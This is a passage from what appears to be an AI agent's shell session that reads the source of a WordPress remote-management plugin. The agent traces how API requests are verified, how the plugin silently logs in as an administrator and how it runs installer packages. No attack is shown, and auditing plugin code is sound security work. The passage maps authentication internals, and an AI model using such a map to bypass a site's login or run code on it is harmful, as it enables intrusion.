= 'hmac'; $verified = true; } return $verified; } \u002F** * @throws \\Exception *\u002F protected function publicKeyVerify() :void { $req = $this->getRequestParams(); $publicKey = $this->mod->getIcwpPublicKey(); if ( empty( $publicKey ) || empty( $req->verification_code ) || empty( $req->opensig ) ) { throw new \\Exception( 'Necessary components for public key-based verification are missing' ); } if ( $this->isVerificationWindowRequired() ) { $this->verificationWindowCheck(); } if ( !$this->loadEncryptProcessor()->getSupportsOpenSslSign() ) { throw new \\Exception( 'OpenSSL Sign is not supported.' ); } $response = $this->getStandardResponse(); $response->openssl_verify = $this->loadEncryptProcessor()->verifySslSignature( $req->verification_code.( empty( $req->verify_ts ) ? '' : $req->verify_ts ), $req->opensig, $publicKey ); if ( $response->openssl_verify !== 1 ) { throw new \\Exception( 'OpenSSL Signature verification failed: '.$response->openssl_verify ); } $response->handshake = 'openssl'; } protected function preActionEnvironmentSetup() { $this->loadWP()->doBustCache(); \u002F\u002F @set_time_limit( $this->getRequestParams()->timeout ); } \u002F** * @return bool *\u002F protected function setWpEngineAuth() { if ( @getenv( 'IS_WPE' ) == '1' && class_exists( 'WpeCommon', false ) && $this->isLoggedInUser() ) { $oWpEngineCommon = WpeCommon::instance(); $oWpEngineCommon->set_wpe_auth_cookie(); return true; } return false; } \u002F** * @return bool *\u002F protected function setAuthorizedUser() { if ( !$this->isLoggedInUser() ) { $WPU = $this->loadWpUsers(); $req = $this->getRequestParams(); $wpUser = $req->wpadmin_user; if ( empty( $wpUser ) ) { if ( version_compare( $this->loadWP()->getWordpressVersion(), '3.1', '>=' ) ) { $aUserRecords = get_users( [ 'role' => 'administrator', 'number' => 1, 'orderby' => 'ID' ] ); if ( is_array( $aUserRecords ) && count( $aUserRecords ) ) { $oUser = $aUserRecords[ 0 ]; } } else { $oUser = $WPU->getUserById( 1 ); } $wpUser = ( !empty( $oUser ) && is_a( $oUser, 'WP_User' ) ) ? $oUser->get( 'user_login' ) : 'admin'; } if ( $WPU->setUserLoggedIn( $wpUser, (bool)$req->silent_login ) ) { $this->setLoggedInUser( $wpUser ); } } return $this->isLoggedInUser(); } \u002F** * Used by Execute and Retrieve * @param string $installerFileToInclude * @return LegacyApi\\ApiResponse *\u002F protected function runInstaller( $installerFileToInclude ) { $FS = $this->loadFS(); $bIncludeSuccess = include_once( $installerFileToInclude ); $FS->deleteFile( $installerFileToInclude ); if ( !$bIncludeSuccess ) { return $this->setErrorResponse( 'PHP failed to include the Installer file for execution.' ); } if ( !class_exists( 'Worpit_Package_Installer', false ) ) { $sErrorMessage = sprintf( 'Worpit_Package_Installer class does not exist after including file: \"%s\".', $installerFileToInclude ); return $this->setErrorResponse( $sErrorMessage, -1 \u002F\u002FTODO: Set a code ); } $installer = new Worpit_Package_Installer(); $installerResponse = $installer->run(); $msg = !empty( $installerResponse[ 'message' ] ) ? $installerResponse[ 'message' ] : 'No message'; $response = $installerResponse[ 'data' ] ?? []; if ( isset( $installerResponse[ 'success' ] ) && $installerResponse[ 'success' ] ) { return $this->setSuccessResponse( sprintf( 'Package Execution SUCCEEDED with message: \"%s\".', $msg ), 0, $response ); } else { return $this->setErrorResponse( sprintf( 'Package Execution FAILED with error message: \"%s\"', $msg ), -1, \u002F\u002FTODO: Set a code $response ); } } \u002F** * @param string $msg * @param int $code * @param mixed $data *\u002F protected function setErrorResponse( $msg = '', $code = -1, $data = [] ) :LegacyApi\\ApiResponse { $r = $this->getStandardResponse(); $r->success = false; $r->error_message = $msg; $r->message = $msg; $r->code = $code; $r->data = $data; return $r; } \u002F** * @param string $msg * @param int $code * @param mixed $data * @return LegacyApi\\ApiResponse *\u002F protected function setSuccessResponse( $msg = '', $code = 0, $data = [] ) :LegacyApi\\ApiResponse { $r = $this->getStandardResponse(); $r->success = true; $r->message = $msg; $r->code = $code; $r->data = empty( $data ) ? [ 'success' => 1 ] : $data; return $r; } public static function getStandardResponse() :LegacyApi\\ApiResponse { return self::$actionResponse ??= new LegacyApi\\ApiResponse(); } \u002F** * @param string $sUser * @return $this *\u002F protected function setLoggedInUser( $sUser ) { $this->sLoggedInUser = $sUser; return $this; } \u002F** * @return string *\u002F protected function getLoggedInUser() { $sLoggedInUser = $this->sLoggedInUser; if ( empty( $sLoggedInUser ) ) { $oWpUser = $this->loadWpUsers(); if ( $oWpUser->isUserLoggedIn() && $oWpUser->isUserAdmin() ) { $sLoggedInUser = $oWpUser->getCurrentWpUser()->get( 'user_login' ); $this->setLoggedInUser( $sLoggedInUser ); } } return $this->sLoggedInUser; } protected function isLoggedInUser() :bool { return !empty( $this->getLoggedInUser() ); } \u002F** * @throws Exception *\u002F protected function verificationWindowCheck() :bool { $req = $this->getRequestParams(); if ( empty( $req->verify_ts ) ) { throw new \\Exception( 'Verification window check required, but verify_ts is missing.' ); } if ( \\time() - $req->verify_ts > 30 && ( ( new WorldTimeApi() )->current() - $req->verify_ts > 30 ) ) { throw new \\Exception( 'Verification window has closed.' ); } return true; } \u002F** * TODO: expand to all actions. *\u002F protected function isVerificationWindowRequired() :bool { return \\str_starts_with( $this->reqParams->action, 'worpdrive_' ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_index.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n setSuccessResponse( 'Plugin Index' ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n getRequestParams(); add_filter( self::con()->doPluginPrefix( 'get_service_ips_v4' ), [ $this, 'getServiceIpAddressesV4' ] ); add_filter( self::con()->doPluginPrefix( 'get_service_ips_v6' ), [ $this, 'getServiceIpAddressesV6' ] ); add_filter( self::con()->doPluginPrefix( 'verify_site_can_handshake' ), [ $this, 'doVerifyCanHandshake' ] ); add_action( 'init', [ $this, 'getPluginUrl' ], -100000 ); $apiHook = $params->getApiHook(); if ( $params->worpit_link ) { if ( $apiHook == 'immediate' ) { $this->doApiLinkSite(); } else { add_action( $apiHook, [ $this, 'doApiLinkSite' ], $params->getApiHookPriority() ); } } elseif ( $params->worpit_api || $params->icwpapi ) { if ( $apiHook == 'immediate' ) { $this->doApiAction(); } else { add_action( $apiHook, [ $this, 'doApiAction' ], $params->getApiHookPriority() ); } } } public function getPluginUrl() { if ( $this->loadDP()->FetchRequest( 'geticwppluginurl' ) == 1 ) { $this->returnIcwpPluginUrl(); } } public function getServiceIpAddressesV4() :array { return $this->getValidServiceIps(); } public function getServiceIpAddressesV6() :array { return $this->getValidServiceIps( 'ipv6' ); } protected function getValidServiceIps( string $ips = 'ipv4' ) :array { $lists = $this->mod->getDefinition( 'service_ip_addresses' ); if ( isset( $lists[ $ips ][ 'valid' ] ) && \\is_array( $lists[ $ips ] ) && \\is_array( $lists[ $ips ][ 'valid' ] ) ) { return $lists[ $ips ][ 'valid' ]; } return []; } public function doVerifyCanHandshake() :bool { $this->mod->setOpt( 'time_last_check_can_handshake', $this->loadDP()->time() ); \u002F\u002F First simply check SSL support if ( $this->loadEncryptProcessor()->getSupportsOpenSslSign() ) { return true; } $response = $this->loadFS()->getUrlContent( $this->mod->getAppUrl( 'handshake_verify_test_url' ), [ 'timeout' => 20, 'redirection' => 20, 'sslverify' => true \u002F\u002Fthis is default, but just to make sure. ] ); if ( !$response ) { return false; } $jsonResponse = \\json_decode( \\trim( $response ) ); return \\is_object( $jsonResponse ) && !empty( $jsonResponse->success ); } \u002F** * @uses die() *\u002F public function doApiLinkSite() { require_once( ABSPATH.'wp-admin\u002Fincludes\u002Fupgrade.php' ); $this->sendApiResponse( ( new \\ICWP_APP_Processor_Plugin_SiteLink( $this->mod ) )->run() ); die(); } \u002F** * If any of the conditions are met and our plugin executes either the transport or link * handlers, then all execution will end * @return void * @uses die *\u002F public function doApiAction() { require_once( ABSPATH.'wp-admin\u002Fincludes\u002Fupgrade.php' ); $class = $this->enum()[ $this->getApiChannel() ] ?? \\ICWP_APP_Processor_Plugin_Api_Index::class; $this->sendApiResponse( ( new $class( $this->mod ) )->run(), (bool)$this->getRequestParams()->icwpenc ); die(); } \u002F** * @return class-string [] *\u002F private function enum() :array { return [ 'auth' => \\ICWP_APP_Processor_Plugin_Api_Auth::class, 'retrieve' => \\ICWP_APP_Processor_Plugin_Api_Retrieve::class, 'internal' => \\ICWP_APP_Processor_Plugin_Api_Internal::class, 'status' => \\ICWP_APP_Processor_Plugin_Api_Status::class, 'login' => \\ICWP_APP_Processor_Plugin_Api_Login::class, 'download' => LegacyApi\\Channel\\Download::class ]; } protected function getApiChannel() :string { $params = $this->getRequestParams(); return \\in_array( $params->m, $this->mod->getPermittedApiChannels() ) ? $params->m : 'index'; } \u002F** * @return void *\u002F protected function returnIcwpPluginUrl() { ( new LegacyApi\\Response\\SendAppApiResponse() )->flush( [ 'content' => self::con()->getPluginUrl(), 'encoding' => 'none', 'version' => $this->mod->getVersion(), 'auth_key' => $this->mod->getIsSiteLinked() ? '' : $this->mod->getPluginAuthKey() ], false ); } protected function sendApiResponse( LegacyApi\\ApiResponse $response, bool $encrypt = false ) { $response->authenticated = $this->loadWpUsers()->isUserLoggedIn(); $toSend = clone $response; if ( $encrypt && !empty( $toSend->data ) ) { $encryptedResult = $this->loadEncryptProcessor()->sealData( $toSend->data, $this->mod->getIcwpPublicKey() ); if ( $encryptedResult->success ) { $toSend->data = [ 'is_encrypted' => 1, 'password' => $encryptedResult->encrypted_password, 'sealed_data' => $encryptedResult->encrypted_data ]; } } ( new LegacyApi\\Response\\SendAppApiResponse() )->flush( [ 'content' => \\base64_encode( $this->loadDP()->encodeJson( $toSend->getResponsePackage() ) ), 'encoding' => 'json', 'version' => $this->mod->getVersion(), 'auth_key' => $this->mod->getIsSiteLinked() ? '' : $this->mod->getPluginAuthKey() ], false ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FRequestParameters.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n applyFromArray( \\array_merge( \\is_array( $_GET ) ? $_GET : [], \\is_array( $_POST ) ? $_POST : [], \\is_array( $theGET ) ? $theGET : [], \\is_array( $thePOST ) ? $thePOST : [] ) ); } \u002F** * @param string $sProperty * @return mixed *\u002F public function __get( $sProperty ) { $value = $this->__adapterGet( $sProperty ); switch ( $sProperty ) { case 'action_params': if ( !\\is_array( $value ) ) { $value = $this->parseActionParams(); } break; case 'm': $value = empty( $value ) ? 'index' : $value; break; case 'accname': $value = \\urldecode( $value ); break; case 'opensig': $value = \\base64_decode( $value ); break; case 'timeout': if ( \\is_null( $value ) ) { $value = 60; } $value = (int)$value; break; case 'verification_code': if ( \\is_null( $value ) ) { $value = 'no code'; } break; case 'verify_ts': $value = (int)$value; break; default: break; } return $value; } protected function parseActionParams() :array { $actionParams = []; foreach ( \\is_array( \\getallheaders() ) ? \\getallheaders() : [] as $key => $value ) { if ( \\trim( \\strtolower( $key ) ) === 'content-type' && \\strtolower( $value ) === 'application\u002Fjson' ) { $input = Request::Instance()->input(); if ( !empty( $input ) ) { $actionParams = @\\json_decode( $input, true )[ 'action_params' ] ?? []; } break; } } return \\is_array( $actionParams ) ? $actionParams : []; } \u002F** * @return string *\u002F public function getApiHook() { if ( empty( $this->api_hook ) || !is_string( $this->api_hook ) ) { $this->api_hook = is_admin() ? 'admin_init' : 'wp_loaded'; if ( class_exists( 'WooDojo_Maintenance_Mode', false ) || class_exists( 'ITSEC_Core', false ) ) { $this->api_hook = 'init'; } } return $this->api_hook; } \u002F** * @return string *\u002F public function getPin() { return $this->pin; } \u002F** * @return int *\u002F public function getTimeout() { return (int)$this->timeout; } \u002F** * @return int *\u002F public function getApiHookPriority() { $pri = $this->api_priority; if ( !\\is_numeric( $pri ) ) { $pri = is_admin() ? 101 : 1; if ( \\class_exists( 'ITSEC_Core', false ) ) { $pri = 100; } } return (int)$pri; } \u002F** * @param string $sKey * @param string $mDefault * @return string *\u002F public function getStringParam( $sKey, $mDefault = '' ) { $sVal = $this->getParam( $sKey, $mDefault ); return ( !empty( $sVal ) && is_string( $sVal ) ) ? trim( $sVal ) : $mDefault; } \u002F** * @param string $sKey * @param mixed $mDefault * @return mixed *\u002F public function getParam( $sKey, $mDefault = '' ) { return $this->{$sKey}; } \u002F** * @return bool * @deprecated 4.5 *\u002F public function isSilentLogin() { return (bool)$this->silent_login; } }\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"getRequestParams\\|RequestParameters\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002F --inc...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_link.php:12: if ( $this->getRequestParams()->a == 'check' ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_link.php:22: $params = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:8: $params = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:97: $this->sendApiResponse( ( new $class( $this->mod ) )->run(), (bool)$this->getRequestParams()->icwpenc ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:116: $params = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_app.php:3:use FernleafSystems\\Wordpress\\Plugin\\iControlWP\\LegacyApi\\RequestParameters; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_app.php:7:\tprotected function getRequestParams() :RequestParameters { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_app.php:8: return $this->reqParams ??= new RequestParameters( \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_internal.php:16: $action = $this->getRequestParams()->action; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_internal.php:27: $action = $this->getRequestParams()->action; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_internal.php:50: $API->setRequestParams( $this->getRequestParams() ) \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php:26: $req = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_retrieve.php:11: $req = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:53: $aData[ 'verification_code' ] = $this->getRequestParams()->verification_code; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:65: $oParams = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:73: $reqParams = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:129: $req = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:192: $req = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:257: $req = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:289: $req = $this->getRequestParams();\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_app.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n reqParams ??= new RequestParameters( $this->loadDP()->FetchGet( 'reqpars', [] ), $this->loadDP()->FetchPost( 'reqpars', [] ) ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n mod = $mod; $this->init(); } \u002F** * @param array $attr *\u002F protected function getIfDisplayAdminNotice( $attr ) :bool { $notices = $this->loadAdminNoticesProcessor(); if ( empty( $attr[ 'schedule' ] ) || !in_array( $attr[ 'schedule' ], [ 'once', 'conditions', 'version' ] ) ) { $attr[ 'schedule' ] = 'conditions'; } if ( $attr[ 'schedule' ] == 'once' && ( !$this->loadWpUsers() ->getCanAddUpdateCurrentUserMeta() || $notices->getAdminNoticeIsDismissed( $attr[ 'id' ] ) ) ) { return false; } if ( $attr[ 'schedule' ] == 'version' && ( $this->mod->getVersion() == $notices->getAdminNoticeMeta( $attr[ 'id' ] ) ) ) { return false; } if ( isset( $attr[ 'type' ] ) && $attr[ 'type' ] == 'promo' && $this->loadWP()->getIsMobile() ) { return false; } return true; } public function init() { } \u002F** * Override to set what this processor does when it's \"run\" *\u002F abstract public function run(); \u002F** * @param $sOptionKey * @param mixed $mDefault * @return mixed * @deprecated 4.5 *\u002F public function getOption( $sOptionKey, $mDefault = false ) { return $this->mod->getOpt( $sOptionKey, $mDefault ); } \u002F** * @param string $sKey * @param mixed $mValueToTest * @param bool $bStrict * @return bool * @deprecated 4.5 *\u002F public function getIsOption( $sKey, $mValueToTest, $bStrict = false ) { $mOptionValue = $this->mod->getOpt( $sKey ); return $bStrict ? $mOptionValue === $mValueToTest : $mOptionValue == $mValueToTest; } \u002F** * @deprecated 4.5 *\u002F protected function getFeatureOptions() { return $this->mod; } \u002F** * @return \\FernleafSystems\\Wordpress\\Plugin\\iControlWP\\Control\\Controller * @deprecated 4.5 *\u002F public function getController() { return $this->mod->getController(); } \u002F** * @deprecated 4.5 *\u002F public function action_doFeatureProcessorShutdown() { } \u002F** * @deprecated 4.5 *\u002F public function autoAddToAdminNotices() { } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_internal.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n getRequestParams()->action; if ( empty( $action ) || !$this->isActionSupported( $action ) ) { return $this->setErrorResponse( sprintf( 'Action \"%s\" is not currently supported.', $action ) ); } return $this->processActionHandler(); } \u002F** * @throws \\Exception *\u002F protected function findLegacyApiClass() :string { $action = $this->getRequestParams()->action; $class = $this->actionClassMap()[ $action ] ?? null; if ( empty( $class ) ) { $parts = \\array_map( '\\ucfirst', \\explode( '_', $action ) ); if ( \\count( $parts ) findLegacyApiClass(); \u002F** @var Base $API *\u002F $API = new $class(); $API->setRequestParams( $this->getRequestParams() ) ->setStandardResponse( $this->getStandardResponse() ) ->preProcess(); $response = $API->process(); } catch ( \\Exception $e ) { $response = $this->setErrorResponse( $e->getMessage() ); } return $response; } protected function isActionSupported( string $action ) :bool { return \\in_array( $action, $this->mod->getSupportedInternalApiAction() ); } protected function actionClassMap() :array { return [ 'user_list' => User\\Enumerate::class, 'worpdrive_db_data' => Worpdrive\\Db\\Data::class, 'worpdrive_db_schema' => Worpdrive\\Db\\Schema::class, 'worpdrive_filesystem_hashless' => Worpdrive\\Filesystem\\Hashless::class, 'worpdrive_filesystem_map' => Worpdrive\\Filesystem\\Map::class, 'worpdrive_filesystem_recent' => Worpdrive\\Filesystem\\Recent::class, 'worpdrive_filesystem_zip' => Worpdrive\\Filesystem\\Zip::class, ]; } }\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"getPermittedApiChannels\\|permitted.*channel\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F -...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:117: return \\in_array( $params->m, $this->mod->getPermittedApiChannels() ) ? $params->m : 'index'; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:66: return \\in_array( $oParams->m, $this->mod->getPermittedApiChannels() ) ? $oParams->m : 'index'; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_status.php:22: 'supported_channels' => $this->mod->getPermittedApiChannels(), \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:227:\tpublic function getPermittedApiChannels() :array { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:228: return $this->getDefinition( 'permitted_api_channels' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fconfig\u002Ffeature-plugin.php:104: \"permitted_api_channels\": [\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fconfig\u002Ffeature-plugin.php | head -130`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n{ \"properties\": { \"slug\": \"plugin\", \"name\": \"Dashboard\", \"show_feature_menu_item\": true, \"storage_key\": \"plugin\", \"auto_enabled\": true }, \"sections\": [ { \"slug\": \"section_non_ui\", \"hidden\": true } ], \"options\": [ { \"key\": \"current_plugin_version\", \"section\": \"section_non_ui\" }, { \"key\": \"key\", \"section\": \"section_non_ui\", \"default\": \"\" }, { \"key\": \"pin\", \"section\": \"section_non_ui\", \"default\": \"\" }, { \"key\": \"assigned\", \"section\": \"section_non_ui\", \"default\": \"N\" }, { \"key\": \"assigned_to\", \"section\": \"section_non_ui\", \"default\": \"\" }, { \"key\": \"helpdesk_sso_url\", \"section\": \"section_non_ui\", \"default\": \"\" }, { \"key\": \"time_last_check_can_handshake\", \"section\": \"section_non_ui\", \"value\": 0 }, { \"key\": \"can_handshake\", \"section\": \"section_non_ui\", \"default\": \"N\" }, { \"key\": \"activated_at\", \"section\": \"section_non_ui\" }, { \"key\": \"installation_time\", \"section\": \"section_non_ui\" }, { \"key\": \"feedback_admin_notice\", \"section\": \"section_non_ui\" }, { \"key\": \"active_plugin_features\", \"section\": \"section_non_ui\", \"value\": [ { \"slug\": \"security\", \"storage_key\": \"security\", \"load_priority\": 0 }, { \"slug\": \"compatibility\", \"storage_key\": \"compatibility\" }, { \"slug\": \"google_analytics\", \"storage_key\": \"google_analytics\" }, { \"slug\": \"autoupdates\", \"storage_key\": \"autoupdates\" }, { \"slug\": \"whitelabel\", \"storage_key\": \"whitelabel\" } ] } ], \"definitions\": { \"icwp_public_key\": \"LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBdWxOM2lKRHZEdURGM2JIcnYrSEYNCjZ3T0RVai9GbGtFY1QvYzB5QWllYXNYTXNUQWRxN3AwWVBPQmtMSy92RFAyTE04b054dHA4MzlVUkI2aGFDa2sNCmRPUUZCdHpwY0UvU0NJZjVDSUJEeWhDVUlhRENtK1JnZDlpWmxISldBbzVGZkRlODlxb3FJTGRodkp2UHlzbTYNCkQ0b3hmcXYzMlF1TTV2VjUyT3ZaU1Q5WG1ydytPcHRCc0Rjbjk5THlOdGhYZ3RweHJEVnlTZGljVzBqelpYUHANCm1xbUE0SEZqMzQ3Z3hMNVB1Q0hXcEgyN3RqMCtYSjE3TFoyWHNSQWtaaE1TdEJtTUtBaW02R25yMkVQTTJBc20NCklCWGtzcEs5M2lHVGZiYUlMZE4vQ0NGTmVaUlh5WGNyV1hNV1Bvd0VFQVN0ZXJHNXN1QWlRSkhjVDBwaW0za2oNCjZ3SURBUUFCDQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0=\", \"urls\": { \"handshake_verify_test_url\": \"https:\u002F\u002Fapp.icontrolwp.com\u002Fsystem\u002Fverification\u002Ftest\", \"handshake_verify_url\": \"https:\u002F\u002Fapp.icontrolwp.com\u002Fsystem\u002Fverification\u002Fcheck\", \"remote_add_site_url\": \"https:\u002F\u002Fapp.icontrolwp.com\u002Fsystem\u002Fremote\u002Fadd_site\", \"reset_site_url\": \"https:\u002F\u002Fapp.icontrolwp.com\u002Fsystem\u002Fverification\u002Freset\u002F\", \"package_retrieve_url\": \"https:\u002F\u002Fapp.icontrolwp.com\u002Fsystem\u002Fpackage\u002Fretrieve\u002F\" }, \"permitted_api_channels\": [ \"index\", \"status\", \"auth\", \"internal\", \"retrieve\", \"download\", \"login\" ], \"internal_api_supported_actions\": [ \"autoupdate_plugin\", \"collect_info\", \"collect_plugins\", \"collect_sync\", \"collect_themes\", \"collect_environment\", \"comments_retrieve\", \"comments_status\", \"core_update\", \"core_dbupgrade\", \"core_reinstall\", \"db_status\", \"db_optimise\", \"download_plugin\", \"download_theme\", \"plugin_activate\", \"plugin_deactivate\",\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"icwplogintoken\\|LoginTokenKey\\|icwplogin\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F --in...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FInternal\u002FUser\u002FLogin.php:9:\tconst LoginTokenKey = 'icwplogintoken'; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FInternal\u002FUser\u002FLogin.php:17: self::LoginTokenKey, \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php:35: $token = $WP->getTransient( LegacyApi\\Internal\\User\\Login::LoginTokenKey ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php:36: $WP->deleteTransient( LegacyApi\\Internal\\User\\Login::LoginTokenKey ); \u002F\u002F One chance per token\n```\n\u003C\u002Fdetails>","**Shell:** `grep -A 100 \"internal_api_supported_actions\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fconfig\u002Ff...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\"internal_api_supported_actions\": [ \"autoupdate_plugin\", \"collect_info\", \"collect_plugins\", \"collect_sync\", \"collect_themes\", \"collect_environment\", \"comments_retrieve\", \"comments_status\", \"core_update\", \"core_dbupgrade\", \"core_reinstall\", \"db_status\", \"db_optimise\", \"download_plugin\", \"download_theme\", \"plugin_activate\", 